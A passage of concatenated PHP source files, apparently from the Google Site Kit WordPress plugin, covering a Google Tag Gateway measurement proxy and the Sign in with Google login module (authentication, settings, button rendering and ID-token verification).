Google\GoogleTagGatewayLibrary\Http\ServerRequestContext; /** Core measurement.php logic. */ final class Measurement { private const TAG_ID_QUERY = '?id='; private const GEO_QUERY = '&geo='; private const PATH_QUERY = '&s='; private const FPS_PATH = 'PHP_GTG_REPLACE_PATH'; /** * Reserved request headers that should not be sent as part of the * measurement request. * * @var array<string, bool> */ private const RESERVED_HEADERS = [ # PHP managed headers which will be auto populated by curl or file_get_contents. 'HTTP_ACCEPT_ENCODING' => true, 'HTTP_CONNECTION' => true, 'HTTP_CONTENT_LENGTH' => true, 'CONTENT_LENGTH' => true, 'HTTP_EXPECT' => true, 'HTTP_HOST' => true, 'HTTP_TRANSFER_ENCODING' => true, # Sensitive headers to exclude from all requests. 'HTTP_AUTHORIZATION' => true, 'HTTP_PROXY_AUTHORIZATION' => true, 'HTTP_X_API_KEY' => true, ]; /** * Request helper. * * @var RequestHelper */ private RequestHelper $helper; /** * Server request context. * * @var ServerRequestContext */ private ServerRequestContext $serverRequest; /** * Create the measurement request handler. * * @param RequestHelper $helper * @param ServerRequestContext $serverReqeust */ public function __construct(RequestHelper $helper, ServerRequestContext $serverRequest) { $this->helper = $helper; $this->serverRequest = $serverRequest; } /** Run the measurement logic. */ public function run() { $redirectorFile = $this->serverRequest->getRedirectorFile(); if (empty($redirectorFile)) { $this->helper->invalidRequest(500); return ""; } $tagId = $this->serverRequest->getTagId(); $path = $this->serverRequest->getDestination(); $geo = $this->serverRequest->getGeoParam(); $mpath = $this->serverRequest->getMeasurementPath(); if (empty($tagId) || empty($path)) { $this->helper->invalidRequest(400); return ""; } $useMpath = empty($mpath) ? self::FPS_PATH : $mpath; $fpsUrl = 'https://' . $tagId . '.fps.goog/' . $useMpath . $path; $requestHeaders = $this->serverRequest->getHeaders(self::RESERVED_HEADERS); $method = $this->serverRequest->getMethod(); $body = $this->serverRequest->getBody(); $response = $this->helper->sendRequest($method, $fpsUrl, $requestHeaders, $body); if ($useMpath === self::FPS_PATH) { $substitutionMpath = $redirectorFile . self::TAG_ID_QUERY . $tagId; if (!empty($geo)) { $substitutionMpath .= self::GEO_QUERY . $geo; } $substitutionMpath .= self::PATH_QUERY; if (self::isScriptResponse($response['headers'])) { $response['body'] = str_replace('/' . self::FPS_PATH . '/', $substitutionMpath, $response['body']); } elseif (self::isRedirectResponse($response['statusCode']) && !empty($response['headers'])) { foreach ($response['headers'] as $refKey => $header) { // Ensure we are only processing strings. if (!is_string($header)) { continue; } $headerParts = explode(':', $response['headers'][$refKey], 2); if (count($headerParts) !== 2) { continue; } $key = trim($headerParts[0]); $value = trim($headerParts[1]); if (strtolower($key) !== 'location') { continue; } $newValue = str_replace('/' . self::FPS_PATH, $substitutionMpath, $value); $response['headers'][$refKey] = "{$key}: {$newValue}"; break; } } } return $response; } /** * @param string[] $headers */ private static function isScriptResponse(array $headers): bool { if (empty($headers)) { return false; } foreach ($headers as $header) { if (empty($header)) { continue; } $normalizedHeader = strtolower(str_replace(' ', '', $header)); if (strpos($normalizedHeader, 'content-type:application/javascript') === 0) { return true; } } return false; } /** * Checks if the response is a redirect response. * @param int $statusCode */ private static function isRedirectResponse(int $statusCode): bool { return $statusCode >= 300 && $statusCode < 400; } } } namespace { use Google\GoogleTagGatewayLibrary\Proxy\Runner; Runner::create()->run(); } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Authenticator * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Util\Input; use WP_Error; use WP_User; /** * The authenticator class that processes SiwG callback requests to authenticate users. * * @since 1.141.0 * @access private * @ignore */ class Authenticator implements Authenticator_Interface { /** * Cookie name to store the redirect URL before the user signs in with Google. */ const COOKIE_REDIRECT_TO = 'googlesitekit_auth_redirect_to'; /** * Error codes. */ const ERROR_INVALID_REQUEST = 'googlesitekit_auth_invalid_request'; const ERROR_SIGNIN_FAILED = 'googlesitekit_auth_failed'; /** * User options instance. * * @since 1.141.0 * @var User_Options */ private $user_options; /** * Profile reader instance. * * @since 1.141.0 * @var Profile_Reader_Interface */ private $profile_reader; /** * Constructor. * * @since 1.141.0 * * @param User_Options $user_options User options instance. * @param Profile_Reader_Interface $profile_reader Profile reader instance. */ public function __construct( User_Options $user_options, Profile_Reader_Interface $profile_reader ) { $this->user_options = $user_options; $this->profile_reader = $profile_reader; } /** * Authenticates the user using the provided input data. * * @since 1.141.0 * * @param Input $input Input instance. * @return string Redirect URL. */ public function authenticate_user( Input $input ) { $credential = $input->filter( INPUT_POST, 'credential' ); $user = null; $payload = $this->profile_reader->get_profile_data( $credential ); if ( ! is_wp_error( $payload ) ) { $user = $this->find_user( $payload ); if ( ! $user instanceof WP_User ) { // We haven't found the user using their Google user id and email. Thus we need to create // a new user. But if the registration is closed, we need to return an error to identify // that the sign in process failed. if ( ! $this->is_registration_open() ) { return $this->get_error_redirect_url( self::ERROR_SIGNIN_FAILED ); } else { $user = $this->create_user( $payload ); } } } // Redirect to the error page if the user is not found. if ( is_wp_error( $user ) ) { return $this->get_error_redirect_url( $user->get_error_code() ); } elseif ( ! $user instanceof WP_User ) { return $this->get_error_redirect_url( self::ERROR_INVALID_REQUEST ); } // Sign in the user. $err = $this->sign_in_user( $user ); if ( is_wp_error( $err ) ) { return $this->get_error_redirect_url( $err->get_error_code() ); } return $this->get_redirect_url( $user, $input ); } /** * Gets the redirect URL for the error page. * * @since 1.145.0 * * @param string $code Error code. * @return string Redirect URL. */ protected function get_error_redirect_url( $code ) { return add_query_arg( 'error', $code, wp_login_url() ); } /** * Gets the redirect URL after the user signs in with Google. * * @since 1.145.0 * * @param WP_User $user User object. * @param Input $input Input instance. * @return string Redirect URL. */ protected function get_redirect_url( $user, $input ) { // Use the admin dashboard URL as the redirect URL by default. $redirect_to = admin_url(); // If we have the redirect URL in the cookie, use it as the main redirect_to URL. $cookie_redirect_to = $this->get_cookie_redirect( $input ); if ( ! empty( $cookie_redirect_to ) ) { $redirect_to = $cookie_redirect_to; } // Redirect to HTTPS if user wants SSL. if ( get_user_option( 'use_ssl', $user->ID ) && str_contains( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } /** This filter is documented in wp-login.php */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $redirect_to, $user ); if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } } return $redirect_to; } /** * Signs in the user. * * @since 1.145.0 * * @param WP_User $user User object. * @return WP_Error|null WP_Error if an error occurred, null otherwise. */ protected function sign_in_user( $user ) { // Redirect to the error page if the user is not a member of the current blog in multisite. if ( is_multisite() ) { $blog_id = get_current_blog_id(); if ( ! is_user_member_of_blog( $user->ID, $blog_id ) ) { if ( $this->is_registration_open() ) { add_user_to_blog( $blog_id, $user->ID, $this->get_default_role() ); } else { return new WP_Error( self::ERROR_INVALID_REQUEST ); } } } // Set the user to be the current user. wp_set_current_user( $user->ID, $user->user_login ); // Set the authentication cookies and trigger the wp_login action. wp_set_auth_cookie( $user->ID ); /** This filter is documented in wp-login.php */ do_action( 'wp_login', $user->user_login, $user ); return null; } /** * Finds an existing user using the Google user ID and email. * * @since 1.145.0 * * @param array $payload Google auth payload. * @return WP_User|null User object if found, null otherwise. */ protected function find_user( $payload ) { // Check if there are any existing WordPress users connected to this Google account. // The user ID is used as the unique identifier because users can change the email on their Google account. $g_user_hid = $this->get_hashed_google_user_id( $payload ); $users = get_users( array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key 'meta_key' => $this->user_options->get_meta_key( Hashed_User_ID::OPTION ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value 'meta_value' => $g_user_hid, 'number' => 1, ) ); if ( ! empty( $users ) ) { return $users[0]; } // Find an existing user that matches the email and link to their Google account by store their user ID in user meta. $user = get_user_by( 'email', $payload['email'] ); if ( $user ) { $user_options = clone $this->user_options; $user_options->switch_user( $user->ID ); $user_options->set( Hashed_User_ID::OPTION, $g_user_hid ); return $user; } return null; } /** * Create a new user using the Google auth payload. * * @since 1.145.0 * * @param array $payload Google auth payload. * @return WP_User|WP_Error User object if found or created, WP_Error otherwise. */ protected function create_user( $payload ) { $g_user_hid = $this->get_hashed_google_user_id( $payload ); // Get the default role for new users. $default_role = $this->get_default_role(); // Create a new user. $user_id = wp_insert_user( array( 'user_pass' => wp_generate_password( 64 ), 'user_login' => $payload['email'], 'user_email' => $payload['email'], 'display_name' => $payload['name'], 'first_name' => $payload['given_name'], 'last_name' => $payload['family_name'], 'role' => $default_role, 'meta_input' => array( $this->user_options->get_meta_key( Hashed_User_ID::OPTION ) => $g_user_hid, ), ) ); if ( is_wp_error( $user_id ) ) { return new WP_Error( self::ERROR_SIGNIN_FAILED ); } // Add the user to the current site if it is a multisite. if ( is_multisite() ) { add_user_to_blog( get_current_blog_id(), $user_id, $default_role ); } // Send the new user notification. wp_send_new_user_notifications( $user_id ); return get_user_by( 'id', $user_id ); } /** * Gets the hashed Google user ID from the provided payload. * * @since 1.145.0 * * @param array $payload Google auth payload. * @return string Hashed Google user ID. */ private function get_hashed_google_user_id( $payload ) { return md5( $payload['sub'] ); } /** * Checks if the registration is open. * * @since 1.145.0 * * @return bool True if registration is open, false otherwise. */ protected function is_registration_open() { // No need to check the multisite settings because it is already // incorporated in the following users_can_register check. // See: https://github.com/WordPress/WordPress/blob/505b7c55f5363d51e7e28d512ce7dcb2d5f45894/wp-includes/ms-default-filters.php#L20. return get_option( 'users_can_register' ); } /** * Gets the default role for new users. * * @since 1.141.0 * @since 1.145.0 Updated the function visibility to protected. * * @return string Default role. */ protected function get_default_role() { $default_role = get_option( 'default_role' ); if ( empty( $default_role ) ) { $default_role = 'subscriber'; } return $default_role; } /** * Gets the path for the redirect cookie. * * @since 1.141.0 * * @return string Cookie path. */ public static function get_cookie_path() { return dirname( wp_parse_url( wp_login_url(), PHP_URL_PATH ) ); } /** * Gets the redirect URL from the cookie and clears the cookie. * * @since 1.146.0 * * @param Input $input Input instance. * @return string Redirect URL. */ protected function get_cookie_redirect( $input ) { $cookie_redirect_to = $input->filter( INPUT_COOKIE, self::COOKIE_REDIRECT_TO ); if ( ! empty( $cookie_redirect_to ) && ! headers_sent() ) { // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.cookies_setcookie setcookie( self::COOKIE_REDIRECT_TO, '', time() - 3600, self::get_cookie_path(), COOKIE_DOMAIN ); } return $cookie_redirect_to; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Tag_Matchers * * @package Google\Site_Kit\Core\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.140.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.140.0 * * @return array Array of regex matchers. */ public function regex_matchers() { return array(); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Existing_Client_ID * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Storage\Setting; /** * Class for persisting the client ID between module disconnection and * reconnection. * * @since 1.142.0 * @access private * @ignore */ class Existing_Client_ID extends Setting { /** * The option_name for this setting. */ const OPTION = 'googlesitekit_siwg_existing_client_id'; } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Settings * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Modules\Module_Settings; /** * Class for Sign_In_With_Google settings. * * @since 1.137.0 * @access private * @ignore */ class Settings extends Module_Settings { const OPTION = 'googlesitekit_sign-in-with-google_settings'; const TEXT_CONTINUE_WITH_GOOGLE = array( 'value' => 'continue_with', 'label' => 'Continue with Google', ); const TEXT_SIGN_IN = array( 'value' => 'signin', 'label' => 'Sign in', ); const TEXT_SIGN_IN_WITH_GOOGLE = array( 'value' => 'signin_with', 'label' => 'Sign in with Google', ); const TEXT_SIGN_UP_WITH_GOOGLE = array( 'value' => 'signup_with', 'label' => 'Sign up with Google', ); const TEXTS = array( self::TEXT_CONTINUE_WITH_GOOGLE, self::TEXT_SIGN_IN, self::TEXT_SIGN_IN_WITH_GOOGLE, self::TEXT_SIGN_UP_WITH_GOOGLE, ); const THEME_LIGHT = array( 'value' => 'outline', 'label' => 'Light', ); const THEME_NEUTRAL = array( 'value' => 'filled_blue', 'label' => 'Neutral', ); const THEME_DARK = array( 'value' => 'filled_black', 'label' => 'Dark', ); const THEMES = array( self::THEME_LIGHT, self::THEME_NEUTRAL, self::THEME_DARK, ); const SHAPE_RECTANGULAR = array( 'value' => 'rectangular', 'label' => 'Rectangular', ); const SHAPE_PILL = array( 'value' => 'pill', 'label' => 'Pill', ); const SHAPES = array( self::SHAPE_RECTANGULAR, self::SHAPE_PILL, ); /** * Gets the default value. * * @since 1.137.0 * * @return array An array of default settings values. */ protected function get_default() { return array( 'clientID' => '', 'text' => self::TEXT_SIGN_IN_WITH_GOOGLE['value'], 'theme' => self::THEME_LIGHT['value'], 'shape' => self::SHAPE_RECTANGULAR['value'], 'oneTapEnabled' => false, 'showNextToCommentsEnabled' => false, ); } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.137.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { if ( ! is_array( $option ) ) { return $option; } if ( isset( $option['clientID'] ) ) { $option['clientID'] = (string) $option['clientID']; } if ( isset( $option['text'] ) ) { $text_options = array( self::TEXT_CONTINUE_WITH_GOOGLE['value'], self::TEXT_SIGN_IN['value'], self::TEXT_SIGN_IN_WITH_GOOGLE['value'], self::TEXT_SIGN_UP_WITH_GOOGLE['value'], ); if ( ! in_array( $option['text'], $text_options, true ) ) { $option['text'] = self::TEXT_SIGN_IN_WITH_GOOGLE['value']; } } if ( isset( $option['theme'] ) ) { $theme_options = array( self::THEME_LIGHT['value'], self::THEME_NEUTRAL['value'], self::THEME_DARK['value'], ); if ( ! in_array( $option['theme'], $theme_options, true ) ) { $option['theme'] = self::THEME_LIGHT['value']; } } if ( isset( $option['shape'] ) ) { $shape_options = array( self::SHAPE_RECTANGULAR['value'], self::SHAPE_PILL['value'], ); if ( ! in_array( $option['shape'], $shape_options, true ) ) { $option['shape'] = self::SHAPE_RECTANGULAR['value']; } } if ( isset( $option['oneTapEnabled'] ) ) { $option['oneTapEnabled'] = (bool) $option['oneTapEnabled']; } if ( isset( $option['showNextToCommentsEnabled'] ) ) { $option['showNextToCommentsEnabled'] = (bool) $option['showNextToCommentsEnabled']; } return $option; }; } /** * Gets the label for a given Sign in with Google setting value. * * @since 1.140.0 * * @param string $setting_name The slug for the Sign in with Google setting. * @param string $value The setting value to look up the label for. * @return string The label for the given setting value. */ public function get_label( $setting_name, $value ) { switch ( $setting_name ) { case 'text': $constant = self::TEXTS; break; case 'theme': $constant = self::THEMES; break; case 'shape': $constant = self::SHAPES; break; } if ( ! isset( $constant ) ) { return ''; } $key = array_search( $value, array_column( $constant, 'value' ), true ); if ( false === $key ) { return ''; } return $constant[ $key ]['label']; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Web_Tag * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Util\BC_Functions; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Modules\Sign_In_With_Google\Authenticator; /** * Class for Web tag. * * @since 1.159.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag { use Method_Proxy_Trait; /** * Module settings. * * @since 1.159.0 * @var Settings */ private $settings; /** * Whether the current page is the WordPress login page. * * `is_login()` isn't available until WP 6.1. * * @since 1.159.0 * @var bool */ private $is_wp_login; /** * Redirect to URL. * * @since 1.159.0 * @var string */ private $redirect_to; /** * Sets the module settings. * * @since 1.159.0 * * @param array $settings Module settings as array. */ public function set_settings( array $settings ) { $this->settings = $settings; } /** * Sets whether the current page is the WordPress login page. * * @since 1.159.0 * * @param bool $is_wp_login Whether the current page is the WordPress login page. */ public function set_is_wp_login( $is_wp_login ) { $this->is_wp_login = $is_wp_login; } /** * Sets the redirect to URL. * * @since 1.159.0 * * @param string $redirect_to Redirect to URL. */ public function set_redirect_to( $redirect_to ) { if ( ! empty( $redirect_to ) ) { $this->redirect_to = trim( $redirect_to ); } } /** * Registers tag hooks. * * @since 1.159.0 */ public function register() { // Render the Sign in with Google script that converts placeholder // <div>s with Sign in with Google buttons. add_action( 'wp_footer', $this->get_method_proxy( 'render' ) ); // Output the Sign in with Google JS on the WordPress login page. add_action( 'login_footer', $this->get_method_proxy( 'render' ) ); $this->do_init_tag_action(); } /** * Renders the Sign in with Google JS script tags, One Tap code, and * buttons. * * @since 1.139.0 * @since 1.144.0 Renamed to `render_signinwithgoogle` and conditionally * rendered the code to replace buttons. * @since 1.159.0 moved from main Sign_In_With_Google class to Web_Tag. */ protected function render() { $is_woocommerce = class_exists( 'woocommerce' ); $is_woocommerce_login = did_action( 'woocommerce_login_form_start' ); $login_uri = add_query_arg( 'action', 'googlesitekit_auth', wp_login_url() ); $btn_args = array( 'theme' => $this->settings['theme'], 'text' => $this->settings['text'], 'shape' => $this->settings['shape'], ); // Whether this is a WordPress/WooCommerce login page. $is_login_page = $this->is_wp_login || $is_woocommerce_login; // Check to see if we should show the One Tap prompt on this page. // // Show the One Tap prompt if: // 1. One Tap is enabled in settings. // 2. The user is not logged in. $should_show_one_tap_prompt = ! empty( $this->settings['oneTapEnabled'] ) && ! is_user_logged_in(); // Set the cookie time to live to 5 minutes. If the redirect_to is // empty, set the cookie to expire immediately. $cookie_expire_time = 300000; if ( empty( $this->redirect_to ) ) { $cookie_expire_time *= -1; } // Render the Sign in with Google script. ob_start(); ?> ( () => { async function handleCredentialResponse( response ) { <?php if ( $is_woocommerce && ! $this->is_wp_login ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> response.integration = 'woocommerce'; <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> try { const res = await fetch( '<?php echo esc_js( $login_uri ); ?>', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams( response ) } ); /* Preserve comment text in case of redirect after login on a page with a Sign in with Google button in the WordPress comments. */ const commentText = document.querySelector( '#comment' )?.value; const postId = document.querySelectorAll( '.googlesitekit-sign-in-with-google__comments-form-button' )?.[0]?.className?.match(/googlesitekit-sign-in-with-google__comments-form-button-postid-(\d+)/)?.[1]; if ( !! commentText?.length ) { sessionStorage.setItem( `siwg-comment-text-${postId}`, commentText ); } <?php if ( empty( $this->redirect_to ) && ! $is_login_page ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> location.reload(); <?php else : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> if ( res.ok && res.redirected ) { location.assign( res.url ); } <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> } catch( error ) { console.error( error ); } } if (typeof google !== 'undefined') { google.accounts.id.initialize( { client_id: '<?php echo esc_js( $this->settings['clientID'] ); ?>', callback: handleCredentialResponse, library_name: 'Site-Kit' } ); } <?php if ( $this->is_wp_login ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> const buttonDivToAddToLoginForm = document.createElement( 'div' ); buttonDivToAddToLoginForm.classList.add( 'googlesitekit-sign-in-with-google__frontend-output-button' ); document.getElementById( 'login' ).insertBefore( buttonDivToAddToLoginForm, document.getElementById( 'loginform' ) ); <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> <?php if ( ! is_user_logged_in() || $this->is_wp_login ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> <?php /** * Render SiwG buttons for all `<div>` elements with the "magic * class" on the page. * * Mainly used by Gutenberg blocks. */ ?> const defaultButtonOptions = <?php echo wp_json_encode( $btn_args ); ?>; document.querySelectorAll( '.googlesitekit-sign-in-with-google__frontend-output-button' ).forEach( ( siwgButtonDiv ) => { const buttonOptions = { shape: siwgButtonDiv.getAttribute( 'data-googlesitekit-siwg-shape' ) || defaultButtonOptions.shape, text: siwgButtonDiv.getAttribute( 'data-googlesitekit-siwg-text' ) || defaultButtonOptions.text, theme: siwgButtonDiv.getAttribute( 'data-googlesitekit-siwg-theme' ) || defaultButtonOptions.theme, }; if (typeof google !== 'undefined') { google.accounts.id.renderButton( siwgButtonDiv, buttonOptions ); } }); <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> <?php if ( $should_show_one_tap_prompt ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> if (typeof google !== 'undefined') { google.accounts.id.prompt(); } <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> <?php if ( ! empty( $this->redirect_to ) ) : // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> const expires = new Date(); expires.setTime( expires.getTime() + <?php echo esc_js( $cookie_expire_time ); ?> ); document.cookie = "<?php echo esc_js( Authenticator::COOKIE_REDIRECT_TO ); ?>=<?php echo esc_js( $this->redirect_to ); ?>;expires=" + expires.toUTCString() + ";path=<?php echo esc_js( Authenticator::get_cookie_path() ); ?>"; <?php endif; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect ?> /* If there is a matching saved comment text in sessionStorage, restore it to the comment field and remove it from sessionStorage. */ const postId = document.body.className.match(/postid-(\d+)/)?.[1]; const commentField = document.querySelector( '#comment' ); const commentText = sessionStorage.getItem( `siwg-comment-text-${postId}` ); if ( commentText?.length && commentField && !! postId ) { commentField.value = commentText; sessionStorage.removeItem( `siwg-comment-text-${postId}` ); } } )(); <?php // Strip all whitespace and unnecessary spaces. $inline_script = preg_replace( '/\s+/', ' ', ob_get_clean() ); $inline_script = preg_replace( '/\s*([{};\(\)\+:,=])\s*/', '$1', $inline_script ); // Output the Sign in with Google script. printf( "\n<!-- %s -->\n", esc_html__( 'Sign in with Google button added by Site Kit', 'google-site-kit' ) ); ?> <style> .googlesitekit-sign-in-with-google__frontend-output-button{max-width:320px} </style> <?php BC_Functions::wp_print_script_tag( array( 'src' => 'https://accounts.google.com/gsi/client' ) ); BC_Functions::wp_print_inline_script_tag( $inline_script ); printf( "\n<!-- %s -->\n", esc_html__( 'End Sign in with Google button added by Site Kit', 'google-site-kit' ) ); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Profile_Reader * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Exception; use Google\Site_Kit_Dependencies\Google_Client; use WP_Error; /** * Reads Google user profile data. * * @since 1.141.0 * @access private * @ignore */ class Profile_Reader implements Profile_Reader_Interface { /** * Settings instance. * * @since 1.141.0 * @var Settings */ private $settings; /** * Constructor. * * @since 1.141.0 * * @param Settings $settings Settings instance. */ public function __construct( Settings $settings ) { $this->settings = $settings; } /** * Gets the user profile data using the provided ID token. * * @since 1.141.0 * * @param string $id_token ID token. * @return array|WP_Error User profile data or WP_Error on failure. */ public function get_profile_data( $id_token ) { try { $settings = $this->settings->get(); $google_client = new Google_Client( array( 'client_id' => $settings['clientID'] ) ); $payload = $google_client->verifyIdToken( $id_token ); if ( empty( $payload['sub'] ) || empty( $payload['email'] ) || empty( $payload['email_verified'] ) ) { return new WP_Error( 'googlesitekit_siwg_bad_payload' ); } return $payload; } catch ( Exception $e ) { return new WP_Error( 'googlesitekit_siwg_failed_to_get_payload', $e->getMessage() ); } } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\WooCommerce_Authenticator * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Util\Input; use WP_Error; use WP_User; /** * The authenticator class that processes Sign in with Google callback * requests to authenticate users when WooCommerce is activated. * * @since 1.145.0 * @access private * @ignore */ class WooCommerce_Authenticator extends Authenticator { /** * Gets the redirect URL for the error page. * * @since 1.145.0 * * @param string $code Error code. * @return string Redirect URL. */ protected function get_error_redirect_url( $code ) { do_action( 'woocommerce_login_failed' ); return add_query_arg( 'error', $code, wc_get_page_permalink( 'myaccount' ) ); } /** * Gets the redirect URL after the user signs in with Google. * * @since 1.145.0 * @since 1.146.0 Updated to take into account redirect URL from cookie. * * @param WP_User $user User object. * @param Input $input Input instance. * @return string Redirect URL. */ protected function get_redirect_url( $user, $input ) { $redirect_to = wc_get_page_permalink( 'myaccount' ); // If we have the redirect URL in the cookie, use it as the main redirect_to URL. $cookie_redirect_to = $this->get_cookie_redirect( $input ); if ( ! empty( $cookie_redirect_to ) ) { $redirect_to = $cookie_redirect_to; } return apply_filters( 'woocommerce_login_redirect', $redirect_to, $user ); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Profile_Reader_Interface * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use WP_Error; /** * Defines methods that must be implemented by a profile reader class. * * @since 1.141.0 * @access private * @ignore */ interface Profile_Reader_Interface { /** * Gets the user profile data using the provided ID token. * * @since 1.141.0 * * @param string $id_token ID token. * @return array|WP_Error User profile data or WP_Error on failure. */ public function get_profile_data( $id_token ); } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Hashed_User_ID * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Storage\User_Setting; /** * Class representing the hashed Google user ID. * * @since 1.141.0 * @access private * @ignore */ final class Hashed_User_ID extends User_Setting { /** * User option key. */ const OPTION = 'googlesitekitpersistent_siwg_google_user_hid'; } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Datapoint\Compatibility_Checks * * @package Google\Site_Kit\Modules\Sign_In_With_Google\Datapoint * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Datapoint; use Google\Site_Kit\Core\Modules\Datapoint; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Compatibility_Checks as Checks; use WP_Error; /** * Class for the compatibility-check datapoint. * * @since 1.164.0 * @access private * @ignore */ class Compatibility_Checks extends Datapoint implements Executable_Datapoint { /** * Compatibilty checks instance. * * @since 1.164.0 * @var Checks */ private $checks; /** * Constructor. * * @since 1.164.0 * * @param array $definition Definition fields. */ public function __construct( array $definition ) { parent::__construct( $definition ); if ( isset( $definition['checks'] ) ) { $this->checks = $definition['checks']; } } /** * Creates a request object. * * @since 1.164.0 * * @param Data_Request $data Data request object. */ public function create_request( Data_Request $data ) { if ( ! current_user_can( Permissions::MANAGE_OPTIONS ) ) { return new WP_Error( 'rest_forbidden', __( 'You are not allowed to access this resource.', 'google-site-kit' ), array( 'status' => 403 ) ); } return function () { return array( 'checks' => $this->checks->run_checks(), 'timestamp' => time(), ); }; } /** * Parses a response. * * @since 1.164.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. * @return mixed The original response without any modifications. */ public function parse_response( $response, Data_Request $data ) { return $response; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Sign_In_With_Google_Block * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license 